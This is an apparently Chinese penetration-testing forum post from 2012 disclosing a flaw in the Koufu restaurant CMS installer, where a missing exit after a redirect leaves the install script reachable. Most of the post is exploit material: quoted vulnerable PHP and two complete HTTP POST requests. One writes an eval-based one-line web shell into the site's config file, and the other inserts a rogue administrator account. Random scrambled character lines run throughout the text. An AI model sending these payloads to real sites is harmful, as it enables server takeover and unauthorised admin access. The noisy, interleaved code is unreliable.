中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
. C7 x3 a8 ?1 t/ l9 `
& K7 y# q. v8 w( `9 r
<?php
" f# n: G7 g, O1 u6 x
if(file_exists("../install.lock"))
) _5 G) F+ p8 t
{
& K; l \! e; z+ H u! r4 _
header("Location: ../");//没有退出
8 u* W. ~6 r: b( \$ v
}
' X8 e) @5 b0 R4 A j
0 b5 t) c- l V8 y) b7 z
//echo 'tst';exit;
* o! G5 m+ Q* v# G9 l6 ~* _. V: V
require_once("init.php");
* ^$ T0 H! ~' [1 t% }, p
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
, L3 ]) \. S+ k' f: F! i2 d! r
{
3 v8 L& U& j' ~
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
; U F. U4 D! z6 D
6 C5 @0 [( h: D3 G- s
1、getshell(很危险)
' c% R, O, `$ d( R# D
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
* J7 z7 q& E" N5 ?% l; Q$ n- o
{
" T! w+ x \/ ^1 R( S9 r
$smarty->assign("step",1);
5 X* k9 p, R1 Y T. n9 F( b
$smarty->display("index.html");
$ C- z- l1 ?$ }! Z& t
}elseif($_REQUEST['step']==2)
; ]! t( Q4 ?0 n" I
{
6 j6 W) E9 k: u" Y" T: V5 `
$mysql_host=trim($_POST['mysql_host']);
5 @ B* _9 ?: W# f! j
$mysql_user=trim($_POST['mysql_user']);
O( G. L; z4 O9 t2 Y( |
$mysql_pwd=trim($_POST['mysql_pwd']);
% P: @ R4 w! i6 d, A. S; l
$mysql_db=trim($_POST['mysql_db']);
$ T: p3 P2 Z6 V8 K% }8 @- I
$tblpre=trim($_POST['tblpre']);
3 z) Y& v; V- K4 r0 E0 R8 }
$domain==trim($_POST['domain']);
5 T2 k. ~" L" I
$str="<?php \r\n";
6 w' F6 x+ u: @, `- h4 o
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
+ v9 `1 s% l+ `
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
. V! S% r! p( h- _% ~
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
; L6 X( ^" \1 A- [& ^& o
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
5 y) ]+ a. Q# i9 ?! M$ D `
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
9 S& x" v' h. h ?
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
4 J9 I# x4 T: B( \
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
' ?6 D$ D2 P% _. k
$str.='define("SKINS","default");'."\r\n";
7 E: c7 W0 e& s+ k: `( C
$str.='?>';
- b# ^; b* {/ \% V
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
/ N8 k( G l( s+ P
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
5 ?6 t( a7 K( ]" T1 f' K$ q, f
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
* H5 b1 L( ^& q* g5 V: p2 e. D
Host: 192.168.80.129
% t5 D/ x5 v2 t( H0 x
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
8 ]/ F$ u) {- S; ^& D; K$ j5 o* g
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ y1 W! C* E) `1 a1 d
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
- j/ j6 Y+ n1 S( I
Accept-Encoding: gzip, deflate
; J% B% o, c/ L2 U5 Z \8 d v
Referer:
http://192.168.80.129/canting/install/index.php?step=1
+ t: R! z* g6 d" E' _8 x
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
7 S0 J a0 E! U% k
Content-Type: application/x-www-form-urlencoded
- g2 X0 t6 P6 {1 X$ |2 l- @9 i% |6 m; V
Content-Length: 126
# L: V: r9 u9 C* z# u. E
8 w$ `7 d! Y# O' Y" G9 p8 ?
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
7 x0 J2 E6 L+ W6 {) O, o
但是这个方法很危险,将导致网站无法运行。
' q8 B* ]( U/ t' S" w
* T2 p5 H6 y0 s) f) k
2、直接添加管理员
6 [2 b6 M3 ~$ A# G: w
, y9 m5 T" Y" l+ R4 _% I
elseif($_REQUEST['step']==5)
; y8 Y* ` w5 J3 b3 p
{
3 P4 p T2 Y: v* [. a% L8 X" o
if($_POST)
' z! q/ C" Y8 \: X
{ require_once("../config/config.inc.php");
0 Y8 H! O6 h0 n1 \
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
; O/ _0 p; y3 ?# m* @
mysql_select_db(MYSQL_DB,$link);
' S, ~8 h7 a' q. M
mysql_query("SET NAMES ".MYSQL_CHARSET );
0 s8 ]8 E& g y$ v: n* D
mysql_query("SET sql_mode=''");
7 {' w I. S* i! u6 Z: N5 Q; e1 {4 g
9 S) o# j/ @( E0 L1 ?" \# T2 y
$adminname=trim($_POST['adminname']);
L# B, e- e3 [" V
$pwd1=trim($_POST['pwd1']);
* }9 A E" t& K+ Y+ m8 [: I
$pwd2=trim($_POST['pwd2']);
2 y- } M! w% ]8 R( `: t
if(empty($adminname))
. v# c+ O0 [5 A. `% V
{
; ?' r4 N' V; U& T+ H3 z; o2 m
6 g5 J* M0 c( {( w7 q7 {
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
1 M" C$ p& q2 r
exit();
D+ \; G) B3 ?' g/ N; d* U
}
6 R: c7 _" H& n }6 |3 _7 a
if(($pwd1!=$pwd2) or empty($pwd1))
, l1 C5 E* N/ T$ q
{
0 b3 P4 d) Z9 c* r
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
, m3 e0 D. _1 g* t' ~' J
}
+ A) |! x& w0 H: v: q" b
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
1 z4 t' \7 R4 i3 H
}
! j) ]" R( Z, r. O: G
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
; r9 F$ L' d3 ~% A6 y
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
3 e3 N5 N2 K; x1 T8 ]# x8 ?
Host: 192.168.80.129
9 Q* ]/ ]* e- W+ i' U
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
' c: t/ f: v3 E7 o" z! A
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1 H. M3 L4 {8 l3 b" z1 ^" X
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
8 x1 Z7 P! T7 ^) U1 Z
Accept-Encoding: gzip, deflate
( i% G3 |. I# S R
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
) o4 f0 B: m) U8 Z
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
8 c& n' T. G/ g4 v0 F4 a
Content-Type: application/x-www-form-urlencoded
/ ^& S. K3 C2 }0 ~' \
Content-Length: 46
. Z, ]& [$ o) q: I8 E, U
* W& m" j2 Q+ \7 ~5 K
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
7 V8 L' ?( H% ~2 } U
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2